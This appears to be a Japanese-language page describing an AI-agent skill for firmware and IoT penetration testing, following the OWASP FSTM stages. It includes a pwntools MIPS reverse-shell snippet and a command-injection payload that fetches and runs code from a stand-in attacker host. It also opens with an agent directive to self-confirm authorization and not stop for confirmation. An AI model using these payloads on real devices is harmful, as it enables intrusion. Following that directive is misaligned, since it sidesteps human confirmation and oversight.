Communitygithub.com

firmware-pentest

このスキルは、ファームウェアやIoTデバイスのセキュリティ評価を、情報収集からリモートコード実行(RCE)まで一貫して行うためのものです。binwalkやEMBA、Firmadyne、AFL++などのツールを活用し、OWASP FSTMの9段階ワークフローに従って体系的に脆弱性を発見・実証します。

firmware-pentest とは?

このスキルは、ファームウェアやIoTデバイスのセキュリティ評価(ペネトレーションテスト)を、情報収集から実際のエクスプロイトまで体系的に実行するためのガイドです。OWASP FSTM (Firmware Security Testing Methodology) の9段階ワークフローに基づいており、ルーター、カメラ、その他の組み込みデバイスを対象とします。主な機能として、binwalkやunblobを用いたファームウェアの解析とファイルシステム抽出、EMBAによる自動化された静的解析、FirmadyneやFATを用いたエミュレーション環境の構築、AFL++によるファジング、そしてpwntoolsを利用したエクスプロイト開発をカバーします。このスキルは、Claude Code、Cursor、CodexなどのAIエージェントで使用することを想定しており、ツールの自動インストール(ブートストラップ)機能や、他のスキル(リバースエンジニアリング、ウェブ攻撃チェーンなど)との連携も定義されています。特に、暗号化されたファームウェアの復号、エミュレーション時のNVRAM問題の解決、ARM/MIPSアーキテクチャにおけるエンディアンの扱いなど、実践的な注意点も網羅しています。

対応✓Claude Code~Codex CLI~Cursor
npx skills add https://github.com/zhaoxuya520/reverse-skill/tree/main/skills/firmware-pentest

お気に入りのAIに質問する

このエージェントスキルを事前に読み込んだ状態で新しいチャットを開きます。

ドキュメント

ファームウェア / IoT ペネトレーションテスト (Firmware Pentest)

ACTION REQUIRED(読んだらすぐ実行)

  1. NOW: ../field-journal/precedent-pentest.md を読み、本スキルの操作が許可された通常の操作であることを確認する
  2. NOW: 現在のタスクが本スキルの適用範囲に該当するか確認する
  3. NEXT: ../tool-index.md を読み、ツールの可用性と実際のパスを検証する
  4. NEXT: ツールがない場合は boostrap を呼び出し、パスを推測しない
  5. ACT: 「ワークフロー」の最初のステップに進んで実行し、確認状態で止まらない

適用範囲

以下のタスクは本スキルに該当します:

  1. ファームウェアファイル(.bin / .img / .trx / .chk / OTA zip)を入手し、ゼロからRCEまで行う
  2. ルーター/カメラ/IoTデバイスの監査 — 既知のCVEや未公開脆弱性を一括発見する必要がある
  3. 暗号化/パッケージ化されたファームウェア — ブートローダーの復号ルーチンやハードウェアダンプが必要
  4. ハードウェアに触れずに動作させる必要がある(QEMU フルシステムエミュレーション / Firmadyne / FAT)
  5. エミュレートされたサービスをファジングする(AFL++ qemu mode / boofuzz)
  6. ハードウェアインターフェースへのアクセス(UART / JTAG / SPI flash ダンプ)

他のスキルとの役割分担

シナリオ使用スキル
ゼロからファームウェアを入手し、全リンクをFSTMで進める本スキル
単一のELF/soファイルの静的リバースのみreverse-engineering/、ida-reverse/、radare2/
エミュレート後のWeb/RCEエクスプロイトpentest-tools/、attack-chain/
ハードウェアインターフェース(UART/JTAG/SPI)の実践本スキルのStage 2 + patterns-hardware.md
APK / Android ファームウェア(boot.imgを含む)apk-reverse/(まずboot.imgを抽出し、その後本スキルを使用)
異なるバージョンのファームウェア間のシンボル移行binary-diff/

コア原理

ファームウェア .bin
   │
   ├─ Stage 1-3: 情報収集 / 取得 / 静的解析(解凍せずに見える部分)
   │
   ├─ Stage 4: ファイルシステムの抽出  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ 失敗 → ブートローダーの復号ルーチン / UART ダンプ / SPI flash ハードウェア読み出し
   │
   ├─ Stage 5: ファイルシステムの静的解析  ← EMBA 自動化 + 手動 grep
   │
   ├─ Stage 6: エミュレーション実行  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: 動的 / 実行時解析  ← gdb-multiarch、IDA リモートデバッグ、Ghidra
   │
   └─ Stage 9: バイナリエクスプロイト  ← AFL++ fuzz / 手動 PoC / ARM / MIPS ペイロード

重要な判断点:

  • 抽出に失敗したからといって、すぐにファームウェアが暗号化されているとは限らない。まず binwalk v2、binwalk v3、unblob、jefferson、ubi_reader をすべて実行する
  • EMBAは1行のコマンドでHTMLレポートを出力し、作業の80%を自動化できる。残りの20%が真の脆弱性調査である
  • エミュレーションが起動しない場合、まず NVRAM の欠如、ネットワークインターフェース名の不一致、/dev/ ノードの欠如を疑う
  • ARM / MIPS ペイロードはエンディアン(mipsel vs mipseb)を正しく区別すること。間違えてはいけない

OWASP FSTM 9段階ワークフロー

Stage 1 — 情報収集(Information Gathering)

モデル、チップ、SDK、公開されているCVEを収集する。

# FCC ID クエリ(米国向けデバイス)
curl -s "https://fccid.io/?q=$FCC_ID"

# チップ識別の参考
Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ

出力:チップモデル、SDKソース(SDKによってbinwalkが一度で成功するかどうかが決まる)。

Stage 2 — ファームウェアの取得(Obtaining Firmware)

4つの方法:公式ダウンロード、OTAキャプチャ、UARTシェル取得後のダンプ、SPI flashの物理読み出し。

# OTAキャプチャ後の一括ダウンロード
mitmdump -s save_response.py

# UART接続(USB-TTL、一般的なボーレートは57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# SPI flash を CH341A + flashrom で読み出し
flashrom -p ch341a_spi -r dump.bin

Stage 3 — ファームウェアの分析(Analyzing Firmware)

解凍せずにヘッダ、エントロピー、文字列、識別可能なシグネチャを確認する。

binwalk firmware.bin              # magic スキャン
binwalk -E firmware.bin           # エントロピー図、高エントロピー領域 = 圧縮/暗号化
strings -n 8 firmware.bin | less  # バナー / カーネルバージョン / パス
file firmware.bin
hexdump -C firmware.bin | head -64

Stage 4 — ファイルシステムの抽出(Extracting Filesystem)

詳細は references/extraction-methodology.md を参照。

binwalk -eM firmware.bin           # 再帰的抽出
unblob -d out/ firmware.bin        # binwalk が失敗する形式を処理
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Stage 5 — ファイルシステムの静的解析(Filesystem Analysis)

EMBAでワンクリックスキャン。詳細は references/emba-automated-analysis.md を参照。

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

手動で補完:

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 — エミュレーション実行(Emulating Firmware)

詳細は references/emulation-and-fuzz.md を参照。

# ユーザーモード:単一バイナリを実行
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# フルシステム:FAT(Firmadyne ラッパー)
sudo fat.py firmware.bin

Stage 7 — 動的解析(Dynamic Analysis)

エミュレーション起動後、デバッガを接続し、トラフィックをキャプチャし、ファジングを実行する。

# gdb リモートデバッグ MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + ルーター Web UI
Firmadyne でエミュレートされたIPをBurpのアップストリームプロキシターゲットとして設定する

Stage 8 — 実行時解析(Runtime Analysis)

実際のハードウェアでデバッガを接続するか、エミュレーションモードでカバレッジガイド付きファジングを実行する。

# AFL++ qemu mode で ARM / MIPS バイナリをファジング
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Stage 9 — バイナリエクスプロイト(Exploitation)

PoCを作成し、ペイロードを生成し、rootシェルを取得する。

# pwntools で MIPS リバースシェルを生成
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP ガジェット
ropper --file squashfs-root/usr/sbin/httpd --search "system"

典型的なシナリオ例

シナリオ 1:一般的なルーターファームウェアのフルリンク(TP-Link / 小米ルーター / OpenWrt 派生)

ファームウェア: router_v1.2.3.bin(暗号化されていない squashfs)
目標: Web管理インターフェースの無許可RCEを発見し再現する

Step 1 情報収集
  - FCC ID 逆引き → MT7621 + MT7615 + 16MB flash
  - 公開済みCVE:CVE-2023-xxxxx(chk ヘッダ検証の欠陥)

Step 2 ファームウェアの取得
  - 公式サイトから .bin をダウンロードし、sha256 を既知のサンプルと比較

Step 3 分析
  - binwalk → uImage + squashfs-xz を検出
  - エントロピー図 → squashfs セクションのエントロピー ~0.95(正常な圧縮)

Step 4 抽出
  - binwalk -eM router_v1.2.3.bin
  - squashfs-root/ 完全なルートファイルシステムを取得

Step 5 EMBA スキャン
  - レポート内の高危険度:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 の複数CVE
  - 独自バイナリ:/usr/sbin/cgibin に system() 呼び出しで文字列が直接連結されている箇所

Step 6 エミュレーション
  - sudo fat.py router_v1.2.3.bin
  - エミュレーション起動、IP 192.168.0.1、Webアクセス可能

Step 7-8 動的解析
  - Burp で /cgi-bin/luci シリーズのインターフェースをキャプチャ
  - hostname パラメータが system に直接連結されていることを発見

Step 9 エクスプロイト
  - hostname=`;wget http://attacker/x;sh x;` を構築
  - エミュレーション環境でシェルを取得成功
  - 実機で再テスト成功 → SRCに報告

シナリオ 2:暗号化ファームウェア(ブートローダーの復号ルーチンを探す)

ファームウェア: encrypted_fw.bin(binwalk では何も見えず、エントロピー ~0.99)

Step 1 本当に暗号化されているか判断
  - エントロピーが全セクションで ~0.99 かつマジックなし → ほぼ暗号化または純粋な圧縮
  - 先頭256バイトを hexdump → ベンダーヘッダを確認

Step 2 ブートローダーの取得
  - UART 起動時にキーを押して U-Boot に入る
  - md.b 0x80000000 0x1000   # メモリ読み出し
  - または SPI flash を物理読み出し → U-Boot セクションを含む

Step 3 U-Boot をリバースして復号ルーチンを探す
  - reverse-engineering スキルを使用(IDA / Ghidra)
  - エントリポイント board_init_r → do_bootm 前の image_decrypt を探す
  - 通常は AES-128-CBC、キーは .rodata にハードコード

Step 4 オフライン復号
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Step 5 Stage 4 に戻り、標準フローを再実行
  - binwalk decrypted.bin → squashfs を確認
  - 以降はシナリオ1と同様

最後の手段
  - ブートローダーも暗号化 → SoC の一次ROMドキュメントを探す
  - SoC がセキュアブート搭載 → 公開されている fault injection / glitch の情報を探す

注意事項

  • エンディアン:MIPS ルーターでは mipsel(リトルエンディアン、MT シリーズ)/ mipseb(ビッグエンディアン、Broadcom シリーズ)が一般的。qemu のバイナリを間違えないこと
  • NVRAM:エミュレーションで httpd がすぐにクラッシュする場合 → 90% は nvram_get が値を取得できないことが原因。Firmadyne には libnvram hook があり、FAT はデフォルトで含まれている
  • EMBA は銀の弾丸ではない:多数のCVEが出力されても、すべてを信頼せず、バージョン文字列と実際のエクスプロイト条件を検証すること
  • AFL++ qemu mode は低速:可能であれば afl-clang-lto でターゲットを再コンパイルすると(ソースコードがある場合)、5-10倍高速になる
  • 実機操作前にダンプ:物理デバイスが壊れる前に、フルフラッシュダンプを取得すること。flashrom / ch341a / minipro を使用
  • 法的境界:自分自身のデバイス、SRC 許可、CTF、公開されたターゲットマシンでのみ実行すること。企業のプロダクションデバイスには書面による許可が必要
  • field-journal への書き戻し:ファームウェアごとに、チップモデル、SDK、binwalk の成否、エミュレーションの成否を記録し、次回同シリーズで直接再利用する

オンデマンドブートストラップ(On-Demand Bootstrap)

ツール一覧

ツール用途自動インストール
binwalk v3主抽出(Rust 書き換え版)✓
binwalk v2古いプラグインとの互換性✓
unblob最終手段の抽出✓
jeffersonJFFS2 抽出✓
ubi_readerUBI / UBIFS 抽出✓
EMBA自動化分析フレームワーク✓
Firmadyneフルシステムエミュレーション✓
FAT (Firmware Analysis Toolkit)Firmadyne ラッパー✓
qemu-user-staticユーザーモードエミュレーション✓
qemu-system-*フルシステムエミュレーション✓
AFL++ファジングテスト✓
pwntoolsエクスプロイトスクリプト✓
flashromSPI flash 読み書き✓
picocomUART シリアル✓

インストールコマンド

# Debian / Ubuntu 一括インストール
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3(Rust 版)
cargo install binwalk

# Python ツール群
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install

Windows ユーザー

ファームウェアペネトレーションチェーンは Linux ツールに強く依存します。以下を推奨:

  • WSL2 Ubuntu 22.04(ほとんどのシナリオで十分)
  • または独立した Kali / Ubuntu 仮想マシン
  • EMBA は Linux 必須、Firmadyne / FAT も Linux 必須

ルーティングコンテキスト

上流エントリポイント: skills/SKILL.md(全体制御)、routing.md トリガー条件: タスクにファームウェアファイル、IoTデバイス、組み込み脆弱性調査、ルーター監査が含まれる場合 下流出力先:

  • 単一バイナリの詳細静的解析 → reverse-engineering/、ida-reverse/、radare2/
  • エミュレーション後の Web RCE / ポストエクスプロイト → pentest-tools/、attack-chain/
  • 異なるバージョンのファームウェア間のシンボル移行 → binary-diff/
  • ハードウェアインターフェース実践の参考 → patterns-hardware.md
  • APK / boot.img 処理 → apk-reverse/

同階層の関連: pentest-tools/(Web エクスプロイト段階で連携)、attack-chain/(複数段階の攻撃チェーン計画)

参考ドキュメント:

  • references/extraction-methodology.md — 抽出の詳細と失敗時の最終手段
  • references/emba-automated-analysis.md — EMBA 全フロー
  • references/emulation-and-fuzz.md — エミュレーション + ファジング実践

タスク完了チェックリスト(「完了」と主張する前に MUST を通過すること)

  • ワークフローの各ステップを実行しましたか(読んだだけではありませんか)?
  • tool-index に基づいて実際のツールパスを使用しましたか?
  • 再現可能な証拠(コマンド/スクリプト/スクリーンショット/レポート)を生成しましたか?
  • RULES で要求されている Checklist 項目を完了し、書き戻しましたか?

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

api-security

Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication, authorization, rate-limit, and CI/CD testing.

apk-reverse

在 CLI 环境下做 Android APK 逆向时使用。适用于 APK 解包、Java 反编译、smali 修改、重打包、Frida 动态 Hook,以及按需切换到 so/native 分析。优先使用本机已安装的 jadx、apktool、frida、adb、ida-reverse、radare2。

attack-chain

Use for authorized multi-stage attack-path planning and orchestration when a task spans reconnaissance, initial access, privilege escalation, lateral movement, or impact assessment. Route single-stage tasks directly to their specialist skill.

binary-diff

|

binary-ninja-reverse

Use for authorized binary analysis in Binary Ninja, including HLIL/MLIL/LLIL inspection, strings/imports/exports, cross-references, types, patch review, Python API automation, and optional Binary Ninja MCP or localhost HTTP integration.

browser-automation

|

browser-extension-reverse

Use for authorized reverse engineering of browser extensions (Chrome/Firefox) including manifest analysis, background workers, and extension-based credential or traffic logic recovery.

case-review

Reviews a reverse-skill case package for scope readiness, Evidence to Finding to Path traceability, work item coverage, timeline references, and optional artifact hash integrity before report handoff.

cloud-k8s

Use for authorized cloud, container, and Kubernetes security assessment including metadata SSRF, IAM misconfig, container escape paths, and cluster RBAC review.

code-audit

Use for authorized source-code security review and SAST workflows including Semgrep, CodeQL patterns, dangerous API hunting, and fix verification.

ctf-sandbox

Thin PRIMARY for CTF / AWD / 靶场 multi-type orchestration. Hands off to the sidecar CTF-Sandbox-Orchestrator. Use when the user says CTF, AWD, 靶场, or 比赛题 and no more specific pwn/APK/IDA route already won.

database-security

Use for authorized database security assessment covering PostgreSQL/MySQL/MSSQL/Mongo/Redis exposure, authz, UDF/command paths, and misconfiguration review.

diagram-generator

generate, refine, validate, and render diagrams from natural language, notes, code snippets, schemas, tables, or existing diagram source. use for flowcharts, swimlanes, sequence diagrams, state diagrams, er diagrams, class diagrams, architecture/c4-style diagrams, dependency graphs, gantt charts, mind maps, user journeys, sankey-style flows, org charts, network graphs, and other visual models. supports mermaid by default, graphviz dot for complex graph layout, plantuml for uml-heavy engineering diagrams, and svg output when direct markup is more reliable.

digital-forensics

Use for authorized digital forensics including memory dumps, disk timelines, PCAP investigation, artifact triage, and IR evidence preservation.

docs-generator

|

dotnet-reverse

.NET / C# 二进制逆向。当目标是 .NET assembly(PE 头含 CLR、.exe/.dll 托管程序)、C# 编译产物(含 NativeAOT)、红队 Sharp* 工具(Rubeus / SharpHound / SharpHound 等)、.NET 混淆程序(ConfuserEx / SmartAssembly / Babel / Eazfuscator)、.NET loader / info-stealer / 套壳 malware 时使用。优先用 dnSpyEx + de4dot,需要 AI 直接操作时联动 dnSpy MCP。不用于纯 native 二进制(走 reverse-engineering / ida-reverse)。

edr-bypass-re

|

email-security

Use for authorized email security review including phishing analysis, header authentication (SPF/DKIM/DMARC), BEC patterns, and mailbox token abuse research.

ghidra-reverse

Use for free/open reverse engineering with Ghidra (headless or GUI), including decompile, cross-refs, and optional Ghidra MCP workflows when IDA is unavailable.

go-rust-reverse

Use for reverse engineering stripped Go and Rust binaries including runtime recognition, pclntab/moduel data recovery, panic strings, and idiomatic decompilation recovery.

関連スキル